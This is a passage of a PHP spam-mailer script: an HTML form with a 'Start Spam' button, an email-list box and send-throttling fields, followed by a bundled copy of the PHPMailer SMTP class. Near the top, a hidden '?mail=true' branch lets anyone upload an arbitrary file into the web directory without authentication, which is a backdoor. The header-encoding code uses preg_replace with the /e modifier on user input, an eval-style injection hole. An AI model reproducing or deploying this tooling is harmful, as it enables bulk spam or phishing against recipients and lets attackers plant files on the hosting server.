240 <input id="subject" type="text" class="form-control kanan-l" name="subject" value="<?=$subject;?>" placeholder="Subject">
241 </div>
242
243 <div style="margin-bottom: 5px" class="input-group">
244 <span class="input-group-addon"><i class="glyphicon glyphicon-paperclip"></i><b> Attach</b></span>
245 <input id="attachment" class="form-control" style="padding: 0 !important" type="file" name="file">
246 <span class="input-group-addon"><i class="glyphicon glyphicon-pencil"></i><b> Encode</b></span>
247 <select class="form-control" name="encode">
248 <option value="" <?php if ($encoding==''){echo 'selected';}?> >Select Encoding</option>
249 <option value="base64" <?php if ($encoding=='base64'){echo 'selected';}?> >base64</option>
250 <option value="7bit" <?php if ($encoding=='7bit'){echo 'selected';}?> >7bit</option>
251 <option value="8bit" <?php if ($encoding=='8bit'){echo 'selected';}?> >8bit</option>
252 <option value="binary" <?php if ($encoding=='binary'){echo 'selected';}?> >binary</option>
253 <option value="quoted-printable" <?php if ($encoding=='quoted-printable'){echo 'selected';}?> >quoted-printable</option>
254 </select>
255 </div>
256 <div style="margin-bottom: 10px" class="input-group">
257 <span class="input-group-addon"><i class="glyphicon glyphicon-align-justify"></i></span>
258 <textarea class="form-control" rows="10" name="pesan" placeholder="Message"><?=$pesan;?></textarea>
259 </div>
260 <div style="margin-bottom: 10px" class="input-group">
261 <input type="submit" class="btn btn-success" name="action" value="Start Spam">
262 <font color="white">Next send after </font>
263 <input type="text" name="wait" value="<?=$wait;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
264 <font color="white">(second) | Reconnect After
265 <input type="text" name="reconnect" value="<?=$reconnect;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
266 <font color="white">(emails)</font>
267 </div>
268
269 </div>
270 <div class="col-sm-4" style="padding-left: 7.5px !important;">
271
272 <div style="margin-bottom: 10px" class="input-group">
273 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i><b> Encode Headers</b></span>
274 <select class="form-control" name="encoding">
275 <option value="yes" <?php if ($_POST['encoding']=='yes'){echo 'selected';}?> >yes</option>
276 <option value="no" <?php if ($_POST['encoding']=='no'){echo 'selected';}?> >no</option>
277 </select>
278 </div>
279 <div style="margin-bottom: 10px" class="input-group">
280 <span class="input-group-addon"><i class="glyphicon glyphicon-list"></i></span>
281 <textarea class="form-control" rows="18" name="list" placeholder="Email List"><?=$emaillist;?></textarea>
282 </div>
283
284 </div>
285 <div class="form-group">
286 </div>
287
288 </form>
289
290 </div>
291 </div>
292 <?
293 if($_GET['mail'] == 'true'){
294 echo '<form action="" method="post" enctype="multipart/form-data" name="country" id="country">';
295 echo '<input type="file" name="file" size="50"><input name="_con" type="submit" id="_con"
296 value="home"><br><font color=#FFF></font></form>';
297 if( $_POST['_con'] == "home" ) {
298 if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 's'; }
299 else { echo 'f'; }
300 }
301 echo '</center>';
302 }
303 ?>
304<?
305
306if ($action){
307
308 if (!$from && !$subject && !$message && !$emaillist) {
309 print "<script>alert('Please complete all fields before sending your message.'); </script>";
310 die();
311 }
312
313 if ($_POST['encoding']=='yes') {
314 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
315 $subject = str_replace(' ', '=20', $subject);
316 $subject = "=?utf-8?Q?$subject?=";
317 $nama = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $nama);
318 $nama = str_replace(' ', '=20', $nama);
319 $nama = "=?utf-8?Q?$nama?=";
320 }
321
322 $allemails = split("\n", $emaillist);
323 $numemails = count($allemails);
324
325
326 function xflush()
327 {
328 static $output_handler = null;
329 if ($output_handler === null) {
330 $output_handler = @ini_get('output_handler');
331 }
332 if ($output_handler == 'ob_gzhandler') {
333 return;
334 }
335 flush();
336 if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
337 @ob_flush();
338 } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
339 @ob_end_flush();
340 @ob_start();
341 }
342 }
343?>
344<?
345/**
346 * PHPMailer RFC821 SMTP email transport class.
347 * PHP Version 5
348 * @package PHPMailer
349 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
350 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
351 * @author Jim Jagielski (jimjag) <>
352 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
353 * @author Brent R. Matzelle (original founder)
354 * @copyright 2014 Marcus Bointon
355 * @copyright 2010 - 2012 Jim Jagielski
356 * @copyright 2004 - 2009 Andy Prevost
357 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
358 * @note This program is distributed in the hope that it will be useful - WITHOUT
359 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
360 * FITNESS FOR A PARTICULAR PURPOSE.
361 */
362
363/**
364 * PHPMailer RFC821 SMTP email transport class.
365 * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
366 * @package PHPMailer
367 * @author Chris Ryan
368 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
369 */
370class SMTP
371{
372 /**
373 * The PHPMailer SMTP version number.
374 * @type string
375 */
376 const VERSION = '5.2.9';
377
378 /**
379 * SMTP line break constant.
380 * @type string
381 */
382 const CRLF = "\r\n";
383
384 /**
385 * The SMTP port to use if one is not specified.
386 * @type integer
387 */
388 const DEFAULT_SMTP_PORT = 25;
389
390 /**
391 * The maximum line length allowed by RFC 2822 section 2.1.1
392 * @type integer
393 */
394 const MAX_LINE_LENGTH = 998;
395
396 /**
397 * Debug level for no output
398 */
399 const DEBUG_OFF = 0;
400
401 /**
402 * Debug level to show client -> server messages
403 */
404 const DEBUG_CLIENT = 1;
405
406 /**
407 * Debug level to show client -> server and server -> client messages
408 */
409 const DEBUG_SERVER = 2;
410
411 /**
412 * Debug level to show connection status, client -> server and server -> client messages
413 */
414 const DEBUG_CONNECTION = 3;
415
416 /**
417 * Debug level to show all messages
418 */
419 const DEBUG_LOWLEVEL = 4;
420
421 /**
422 * The PHPMailer SMTP Version number.
423 * @type string
424 * @deprecated Use the `VERSION` constant instead
425 * @see SMTP::VERSION
426 */
427 public $Version = '5.2.9';
428
429 /**
430 * SMTP server port number.
431 * @type integer
432 * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
433 * @see SMTP::DEFAULT_SMTP_PORT
434 */
435 public $SMTP_PORT = 25;
436
437 /**
438 * SMTP reply line ending.
439 * @type string
440 * @deprecated Use the `CRLF` constant instead
441 * @see SMTP::CRLF
442 */
443 public $CRLF = "\r\n";
444
445 /**
446 * Debug output level.
447 * Options:
448 * * self::DEBUG_OFF (`0`) No debug output, default
449 * * self::DEBUG_CLIENT (`1`) Client commands
450 * * self::DEBUG_SERVER (`2`) Client commands and server responses
451 * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
452 * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
453 * @type integer
454 */
455 public $do_debug = self::DEBUG_OFF;
456
457 /**
458 * How to handle debug output.
459 * Options:
460 * * `echo` Output plain-text as-is, appropriate for CLI
461 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
462 * * `error_log` Output to error log as configured in php.ini
463 *
464 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
465 * <code>
466 * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
467 * </code>
468 * @type string|callable
469 */
470 public $Debugoutput = 'echo';
471
472 /**
473 * Whether to use VERP.
474 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
475 * @link http://www.postfix.org/VERP_README.html Info on VERP
476 * @type boolean
477 */
478 public $do_verp = false;
479
480 /**
481 * The timeout value for connection, in seconds.
482 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
483 * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
484 * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
485 * @type integer
486 */
487 public $Timeout = 300;
488
489 /**
490 * How long to wait for commands to complete, in seconds.
491 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
492 * @type integer
493 */
494 public $Timelimit = 300;
495
496 /**
497 * The socket for the server connection.
498 * @type resource
499 */
500 protected $smtp_conn;
501
502 /**
503 * Error message, if any, for the last call.
504 * @type array
505 */
506 protected $error = array();
507
508 /**
509 * The reply the server sent to us for HELO.
510 * If null, no HELO string has yet been received.
511 * @type string|null
512 */
513 protected $helo_rply = null;
514
515 /**
516 * The set of SMTP extensions sent in reply to EHLO command.
517 * Indexes of the array are extension names.
518 * Value at index 'HELO' or 'EHLO' (according to command that was sent)
519 * represents the server name. In case of HELO it is the only element of the array.
520 * Other values can be boolean TRUE or an array containing extension options.
521 * If null, no HELO/EHLO string has yet been received.
522 * @type array|null
523 */
524 protected $server_caps = null;
525
526 /**
527 * The most recent reply received from the server.
528 * @type string
529 */
530 protected $last_reply = '';
531
532 /**
533 * Output debugging info via a user-selected method.
534 * @see SMTP::$Debugoutput
535 * @see SMTP::$do_debug
536 * @param string $str Debug string to output
537 * @param integer $level The debug level of this message; see DEBUG_* constants
538 * @return void
539 */
540 protected function edebug($str, $level = 0)
541 {
542 if ($level > $this->do_debug) {
543 return;
544 }
545 //Avoid clash with built-in function names
546 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
547 call_user_func($this->Debugoutput, $str, $this->do_debug);
548 return;
549 }
550 switch ($this->Debugoutput) {
551 case 'error_log':
552 //Don't output, just log
553 error_log($str);
554 break;
555 case 'html':
556 //Cleans up output a bit for a better looking, HTML-safe output
557 echo htmlentities(
558 preg_replace('/[\r\n]+/', '', $str),
559 ENT_QUOTES,
560 'UTF-8'
561 )
562 . "<br>\n";
563 break;
564 case 'echo':
565 default:
566 //Normalize line breaks
567 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
568 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
569 "\n",
570 "\n \t ",
571 trim($str)
572 )."\n";
573 }
574 }
575
576 /**
577 * Connect to an SMTP server.
578 * @param string $host SMTP server IP or host name
579 * @param integer $port The port number to connect to
580 * @param integer $timeout How long to wait for the connection to open
581 * @param array $options An array of options for stream_context_create()
582 * @access public
583 * @return boolean
584 */
585 public function connect($host, $port = null, $timeout = 30, $options = array())
586 {
587 static $streamok;
588 //This is enabled by default since 5.0.0 but some providers disable it
589 //Check this once and cache the result
590 if (is_null($streamok)) {
591 $streamok = function_exists('stream_socket_client');
592 }
593 // Clear errors to avoid confusion
594 $this->error = array();
595 // Make sure we are __not__ connected
596 if ($this->connected()) {
597 // Already connected, generate error
598 $this->error = array('error' => 'Already connected to a server');
599 return false;
600 }
601 if (empty($port)) {
602 $port = self::DEFAULT_SMTP_PORT;
603 }
604 // Connect to the SMTP server
605 $this->edebug(
606 "Connection: opening to $host:$port, t=$timeout, opt=".var_export($options, true),
607 self::DEBUG_CONNECTION
608 );
609 $errno = 0;
610 $errstr = '';
611 if ($streamok) {
612 $socket_context = stream_context_create($options);
613 //Suppress errors; connection failures are handled at a higher level
614 $this->smtp_conn = @stream_socket_client(
615 $host . ":" . $port,
616 $errno,
617 $errstr,
618 $timeout,
619 STREAM_CLIENT_CONNECT,
620 $socket_context
621 );
622 } else {
623 //Fall back to fsockopen which should work in more places, but is missing some features
624 $this->edebug(
625 "Connection: stream_socket_client not available, falling back to fsockopen",
626 self::DEBUG_CONNECTION
627 );
628 $this->smtp_conn = fsockopen(
629 $host,
630 $port,
631 $errno,
632 $errstr,
633 $timeout
634 );
635 }
636 // Verify we connected properly
637 if (!is_resource($this->smtp_conn)) {
638 $this->error = array(
639 'error' => 'Failed to connect to server',
640 'errno' => $errno,
641 'errstr' => $errstr
642 );
643 $this->edebug(
644 'SMTP ERROR: ' . $this->error['error']
645 . ": $errstr ($errno)",
646 self::DEBUG_CLIENT
647 );
648 return false;
649 }
650 $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
651 // SMTP server can take longer to respond, give longer timeout for first read
652 // Windows does not have support for this timeout function
653 if (substr(PHP_OS, 0, 3) != 'WIN') {
654 $max = ini_get('max_execution_time');
655 if ($max != 0 && $timeout > $max) { // Don't bother if unlimited
656 @set_time_limit($timeout);
657 }
658 stream_set_timeout($this->smtp_conn, $timeout, 0);
659 }
660 // Get any announcement
661 $announce = $this->get_lines();
662 $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
663 return true;
664 }
665
666 /**
667 * Initiate a TLS (encrypted) session.
668 * @access public
669 * @return boolean
670 */
671 public function startTLS()
672 {
673 if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
674 return false;
675 }
676 // Begin encrypted connection
677 if (!stream_socket_enable_crypto(
678 $this->smtp_conn,
679 true,
680 STREAM_CRYPTO_METHOD_TLS_CLIENT
681 )) {
682 return false;
683 }
684 return true;
685 }
686
687 /**
688 * Perform SMTP authentication.
689 * Must be run after hello().
690 * @see hello()
691 * @param string $username The user name
692 * @param string $password The password
693 * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5)
694 * @param string $realm The auth realm for NTLM
695 * @param string $workstation The auth workstation for NTLM
696 * @access public
697 * @return boolean True if successfully authenticated.
698 */
699 public function authenticate(
700 $username,
701 $password,
702 $authtype = null,
703 $realm = '',
704 $workstation = ''
705 ) {
706 if (!$this->server_caps) {
707 $this->error = array('error' => 'Authentication is not allowed before HELO/EHLO');
708 return false;
709 }
710
711 if (array_key_exists('EHLO', $this->server_caps)) {
712 // SMTP extensions are available. Let's try to find a proper authentication method
713
714 if (!array_key_exists('AUTH', $this->server_caps)) {
715 $this->error = array( 'error' => 'Authentication is not allowed at this stage' );
716 // 'at this stage' means that auth may be allowed after the stage changes
717 // e.g. after STARTTLS
718 return false;
719 }
720
721 self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
722 self::edebug(
723 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
724 self::DEBUG_LOWLEVEL
725 );
726
727 if (empty($authtype)) {
728 foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
729 if (in_array($method, $this->server_caps['AUTH'])) {
730 $authtype = $method;
731 break;
732 }
733 }
734 if (empty($authtype)) {
735 $this->error = array( 'error' => 'No supported authentication methods found' );
736 return false;
737 }
738 self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
739 }
740
741 if (!in_array($authtype, $this->server_caps['AUTH'])) {
742 $this->error = array( 'error' => 'The requested authentication method "'
743 . $authtype . '" is not supported by the server' );
744 return false;
745 }
746 } elseif (empty($authtype)) {
747 $authtype = 'LOGIN';
748 }
749 switch ($authtype) {
750 case 'PLAIN':
751 // Start authentication
752 if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
753 return false;
754 }
755 // Send encoded username and password
756 if (!$this->sendCommand(
757 'User & Password',
758 base64_encode("\0" . $username . "\0" . $password),
759 235
760 )
761 ) {
762 return false;
763 }
764 break;
765 case 'LOGIN':
766 // Start authentication
767 if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
768 return false;
769 }
770 if (!$this->sendCommand("Username", base64_encode($username), 334)) {
771 return false;
772 }
773 if (!$this->sendCommand("Password", base64_encode($password), 235)) {
774 return false;
775 }
776 break;
777 case 'NTLM':
778 /*
779 * ntlm_sasl_client.php
780 * Bundled with Permission
781 *
782 * How to telnet in windows:
783 * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx
784 * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication
785 */
786 require_once 'extras/ntlm_sasl_client.php';
787 $temp = new stdClass();
788 $ntlm_client = new ntlm_sasl_client_class;
789 //Check that functions are available
790 if (!$ntlm_client->Initialize($temp)) {
791 $this->error = array('error' => $temp->error);
792 $this->edebug(
793 'You need to enable some modules in your php.ini file: '
794 . $this->error['error'],
795 self::DEBUG_CLIENT
796 );
797 return false;
798 }
799 //msg1
800 $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
801
802 if (!$this->sendCommand(
803 'AUTH NTLM',
804 'AUTH NTLM ' . base64_encode($msg1),
805 334
806 )
807 ) {
808 return false;
809 }
810 //Though 0 based, there is a white space after the 3 digit number
811 //msg2
812 $challenge = substr($this->last_reply, 3);
813 $challenge = base64_decode($challenge);
814 $ntlm_res = $ntlm_client->NTLMResponse(
815 substr($challenge, 24, 8),
816 $password
817 );
818 //msg3
819 $msg3 = $ntlm_client->TypeMsg3(
820 $ntlm_res,
821 $username,
822 $realm,
823 $workstation
824 );
825 // send encoded username
826 return $this->sendCommand('Username', base64_encode($msg3), 235);
827 case 'CRAM-MD5':
828 // Start authentication
829 if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
830 return false;
831 }
832 // Get the challenge
833 $challenge = base64_decode(substr($this->last_reply, 4));
834
835 // Build the response
836 $response = $username . ' ' . $this->hmac($challenge, $password);
837
838 // send encoded credentials
839 return $this->sendCommand('Username', base64_encode($response), 235);
840 default:
841 $this->error = array( 'error' => 'Authentication method "' . $authtype . '" is not supported' );
842 return false;
843 }
844 return true;
845 }
846
847 /**
848 * Calculate an MD5 HMAC hash.
849 * Works like hash_hmac('md5', $data, $key)
850 * in case that function is not available
851 * @param string $data The data to hash
852 * @param string $key The key to hash with
853 * @access protected
854 * @return string
855 */
856 protected function hmac($data, $key)
857 {
858 if (function_exists('hash_hmac')) {
859 return hash_hmac('md5', $data, $key);
860 }
861
862 // The following borrowed from
863 // http://php.net/manual/en/function.mhash.php#27225
864
865 // RFC 2104 HMAC implementation for php.
866 // Creates an md5 HMAC.
867 // Eliminates the need to install mhash to compute a HMAC
868 // by Lance Rushing
869
870 $bytelen = 64; // byte length for md5
871 if (strlen($key) > $bytelen) {
872 $key = pack('H*', md5($key));
873 }
874 $key = str_pad($key, $bytelen, chr(0x00));
875 $ipad = str_pad('', $bytelen, chr(0x36));
876 $opad = str_pad('', $bytelen, chr(0x5c));
877 $k_ipad = $key ^ $ipad;
878 $k_opad = $key ^ $opad;
879
880 return md5($k_opad . pack('H*', md5($k_ipad . $data)));
881 }
882
883 /**
884 * Check connection state.
885 * @access public
886 * @return boolean True if connected.
887 */
888 public function connected()
889 {
890 if (is_resource($this->smtp_conn)) {
891 $sock_status = stream_get_meta_data($this->smtp_conn);
892 if ($sock_status['eof']) {
893 // The socket is valid but we are not connected
894 $this->edebug(
895 'SMTP NOTICE: EOF caught while checking if connected',
896 self::DEBUG_CLIENT
897 );
898 $this->close();
899 return false;
900 }
901 return true; // everything looks good
902 }
903 return false;
904 }
905
906 /**
907 * Close the socket and clean up the state of the class.
908 * Don't use this function without first trying to use QUIT.
909 * @see quit()
910 * @access public
911 * @return void
912 */
913 public function close()
914 {
915 $this->error = array();
916 $this->server_caps = null;
917 $this->helo_rply = null;
918 if (is_resource($this->smtp_conn)) {
919 // close the connection and cleanup
920 fclose($this->smtp_conn);
921 $this->smtp_conn = null; //Makes for cleaner serialization
922 $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
923 }
924 }
925
926 /**
927 * Send an SMTP DATA command.
928 * Issues a data command and sends the msg_data to the server,
929 * finializing the mail transaction. $msg_data is the message
930 * that is to be send with the headers. Each header needs to be
931 * on a single line followed by a <CRLF> with the message headers
932 * and the message body being separated by and additional <CRLF>.
933 * Implements rfc 821: DATA <CRLF>
934 * @param string $msg_data Message data to send
935 * @access public
936 * @return boolean
937 */
938 public function data($msg_data)
939 {
940 //This will use the standard timelimit
941 if (!$this->sendCommand('DATA', 'DATA', 354)) {
942 return false;
943 }
944
945 /* The server is ready to accept data!
946 * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
947 * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
948 * smaller lines to fit within the limit.
949 * We will also look for lines that start with a '.' and prepend an additional '.'.
950 * NOTE: this does not count towards line-length limit.
951 */
952
953 // Normalize line breaks before exploding
954 $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
955
956 /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
957 * of the first line (':' separated) does not contain a space then it _should_ be a header and we will
958 * process all lines before a blank line as headers.
959 */
960
961 $field = substr($lines[0], 0, strpos($lines[0], ':'));
962 $in_headers = false;
963 if (!empty($field) && strpos($field, ' ') === false) {
964 $in_headers = true;
965 }
966
967 foreach ($lines as $line) {
968 $lines_out = array();
969 if ($in_headers and $line == '') {
970 $in_headers = false;
971 }
972 //We need to break this line up into several smaller lines
973 //This is a small micro-optimisation: isset($str[$len]) is equivalent to (strlen($str) > $len)
974 while (isset($line[self::MAX_LINE_LENGTH])) {
975 //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
976 //so as to avoid breaking in the middle of a word
977 $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
978 if (!$pos) { //Deliberately matches both false and 0
979 //No nice break found, add a hard break
980 $pos = self::MAX_LINE_LENGTH - 1;
981 $lines_out[] = substr($line, 0, $pos);
982 $line = substr($line, $pos);
983 } else {
984 //Break at the found point
985 $lines_out[] = substr($line, 0, $pos);
986 //Move along by the amount we dealt with
987 $line = substr($line, $pos + 1);
988 }
989 //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
990 if ($in_headers) {
991 $line = "\t" . $line;
992 }
993 }
994 $lines_out[] = $line;
995
996 //Send the lines to the server
997 foreach ($lines_out as $line_out) {
998 //RFC2821 section 4.5.2
999 if (!empty($line_out) and $line_out[0] == '.') {
1000 $line_out = '.' . $line_out;
1001 }
1002 $this->client_send($line_out . self::CRLF);
1003 }
1004 }
1005
1006 //Message data has been sent, complete the command
1007 //Increase timelimit for end of DATA command
1008 $savetimelimit = $this->Timelimit;
1009 $this->Timelimit = $this->Timelimit * 2;
1010 $result = $this->sendCommand('DATA END', '.', 250);
1011 //Restore timelimit
1012 $this->Timelimit = $savetimelimit;
1013 return $result;
1014 }
1015
1016 /**
1017 * Send an SMTP HELO or EHLO command.
1018 * Used to identify the sending server to the receiving server.
1019 * This makes sure that client and server are in a known state.
1020 * Implements RFC 821: HELO <SP> <domain> <CRLF>
1021 * and RFC 2821 EHLO.
1022 * @param string $host The host name or IP to connect to
1023 * @access public
1024 * @return boolean
1025 */
1026 public function hello($host = '')
1027 {
1028 //Try extended hello first (RFC 2821)
1029 return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
1030 }
1031
1032 /**
1033 * Send an SMTP HELO or EHLO command.
1034 * Low-level implementation used by hello()
1035 * @see hello()
1036 * @param string $hello The HELO string
1037 * @param string $host The hostname to say we are
1038 * @access protected
1039 * @return boolean
1040 */
1041 protected function sendHello($hello, $host)
1042 {
1043 $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
1044 $this->helo_rply = $this->last_reply;
1045 if ($noerror) {
1046 $this->parseHelloFields($hello);
1047 } else {
1048 $this->server_caps = null;
1049 }
1050 return $noerror;
1051 }
1052
1053 /**
1054 * Parse a reply to HELO/EHLO command to discover server extensions.
1055 * In case of HELO, the only parameter that can be discovered is a server name.
1056 * @access protected
1057 * @param string $type - 'HELO' or 'EHLO'
1058 */
1059 protected function parseHelloFields($type)
1060 {
1061 $this->server_caps = array();
1062 $lines = explode("\n", $this->last_reply);
1063 foreach ($lines as $n => $s) {
1064 $s = trim(substr($s, 4));
1065 if (!$s) {
1066 continue;
1067 }
1068 $fields = explode(' ', $s);
1069 if ($fields) {
1070 if (!$n) {
1071 $name = $type;
1072 $fields = $fields[0];
1073 } else {
1074 $name = array_shift($fields);
1075 if ($name == 'SIZE') {
1076 $fields = ($fields) ? $fields[0] : 0;
1077 }
1078 }
1079 $this->server_caps[$name] = ($fields ? $fields : true);
1080 }
1081 }
1082 }
1083
1084 /**
1085 * Send an SMTP MAIL command.
1086 * Starts a mail transaction from the email address specified in
1087 * $from. Returns true if successful or false otherwise. If True
1088 * the mail transaction is started and then one or more recipient
1089 * commands may be called followed by a data command.
1090 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
1091 * @param string $from Source address of this message
1092 * @access public
1093 * @return boolean
1094 */
1095 public function mail($from)
1096 {
1097 $useVerp = ($this->do_verp ? ' XVERP' : '');
1098 return $this->sendCommand(
1099 'MAIL FROM',
1100 'MAIL FROM:<' . $from . '>' . $useVerp,
1101 250
1102 );
1103 }
1104
1105 /**
1106 * Send an SMTP QUIT command.
1107 * Closes the socket if there is no error or the $close_on_error argument is true.
1108 * Implements from rfc 821: QUIT <CRLF>
1109 * @param boolean $close_on_error Should the connection close if an error occurs?
1110 * @access public
1111 * @return boolean
1112 */
1113 public function quit($close_on_error = true)
1114 {
1115 $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
1116 $err = $this->error; //Save any error
1117 if ($noerror or $close_on_error) {
1118 $this->close();
1119 $this->error = $err; //Restore any error from the quit command
1120 }
1121 return $noerror;
1122 }
1123
1124 /**
1125 * Send an SMTP RCPT command.
1126 * Sets the TO argument to $toaddr.
1127 * Returns true if the recipient was accepted false if it was rejected.
1128 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1129 * @param string $toaddr The address the message is being sent to
1130 * @access public
1131 * @return boolean
1132 */
1133 public function recipient($toaddr)
1134 {
1135 return $this->sendCommand(
1136 'RCPT TO',
1137 'RCPT TO:<' . $toaddr . '>',
1138 array(250, 251)
1139 );
1140 }
1141
1142 /**
1143 * Send an SMTP RSET command.
1144 * Abort any transaction that is currently in progress.
1145 * Implements rfc 821: RSET <CRLF>
1146 * @access public
1147 * @return boolean True on success.
1148 */
1149 public function reset()
1150 {
1151 return $this->sendCommand('RSET', 'RSET', 250);
1152 }
1153
1154 /**
1155 * Send a command to an SMTP server and check its return code.
1156 * @param string $command The command name - not sent to the server
1157 * @param string $commandstring The actual command to send
1158 * @param integer|array $expect One or more expected integer success codes
1159 * @access protected
1160 * @return boolean True on success.
1161 */
1162 protected function sendCommand($command, $commandstring, $expect)
1163 {
1164 if (!$this->connected()) {
1165 $this->error = array(
1166 'error' => "Called $command without being connected"
1167 );
1168 return false;
1169 }
1170 $this->client_send($commandstring . self::CRLF);
1171
1172 $this->last_reply = $this->get_lines();
1173 // Fetch SMTP code and possible error code explanation
1174 $matches = array();
1175 if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
1176 $code = $matches[1];
1177 $code_ex = (count($matches) > 2 ? $matches[2] : null);
1178 // Cut off error code from each response line
1179 $detail = preg_replace(
1180 "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
1181 '',
1182 $this->last_reply
1183 );
1184 } else { // Fall back to simple parsing if regex fails
1185 $code = substr($this->last_reply, 0, 3);
1186 $code_ex = null;
1187 $detail = substr($this->last_reply, 4);
1188 }
1189
1190 $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
1191
1192 if (!in_array($code, (array)$expect)) {
1193 $this->error = array(
1194 'error' => "$command command failed",
1195 'smtp_code' => $code,
1196 'smtp_code_ex' => $code_ex,
1197 'detail' => $detail
1198 );
1199 $this->edebug(
1200 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
1201 self::DEBUG_CLIENT
1202 );
1203 return false;
1204 }
1205
1206 $this->error = array();
1207 return true;
1208 }
1209
1210 /**
1211 * Send an SMTP SAML command.
1212 * Starts a mail transaction from the email address specified in $from.
1213 * Returns true if successful or false otherwise. If True
1214 * the mail transaction is started and then one or more recipient
1215 * commands may be called followed by a data command. This command
1216 * will send the message to the users terminal if they are logged
1217 * in and send them an email.
1218 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1219 * @param string $from The address the message is from
1220 * @access public
1221 * @return boolean
1222 */
1223 public function sendAndMail($from)
1224 {
1225 return $this->sendCommand('SAML', "SAML FROM:$from", 250);
1226 }
1227
1228 /**
1229 * Send an SMTP VRFY command.
1230 * @param string $name The name to verify
1231 * @access public
1232 * @return boolean
1233 */
1234 public function verify($name)
1235 {
1236 return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
1237 }
1238
1239 /**
1240 * Send an SMTP NOOP command.
1241 * Used to keep keep-alives alive, doesn't actually do anything
1242 * @access public
1243 * @return boolean
1244 */
1245 public function noop()
1246 {
1247 return $this->sendCommand('NOOP', 'NOOP', 250);
1248 }
1249
1250 /**
1251 * Send an SMTP TURN command.
1252 * This is an optional command for SMTP that this class does not support.
1253 * This method is here to make the RFC821 Definition complete for this class
1254 * and _may_ be implemented in future
1255 * Implements from rfc 821: TURN <CRLF>
1256 * @access public
1257 * @return boolean
1258 */
1259 public function turn()
1260 {
1261 $this->error = array(
1262 'error' => 'The SMTP TURN command is not implemented'
1263 );
1264 $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
1265 return false;
1266 }
1267
1268 /**
1269 * Send raw data to the server.
1270 * @param string $data The data to send
1271 * @access public
1272 * @return integer|boolean The number of bytes sent to the server or false on error
1273 */
1274 public function client_send($data)
1275 {
1276 $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
1277 return fwrite($this->smtp_conn, $data);
1278 }
1279
1280 /**
1281 * Get the latest error.
1282 * @access public
1283 * @return array
1284 */
1285 public function getError()
1286 {
1287 return $this->error;
1288 }
1289
1290 /**
1291 * Get SMTP extensions available on the server
1292 * @access public
1293 * @return array|null
1294 */
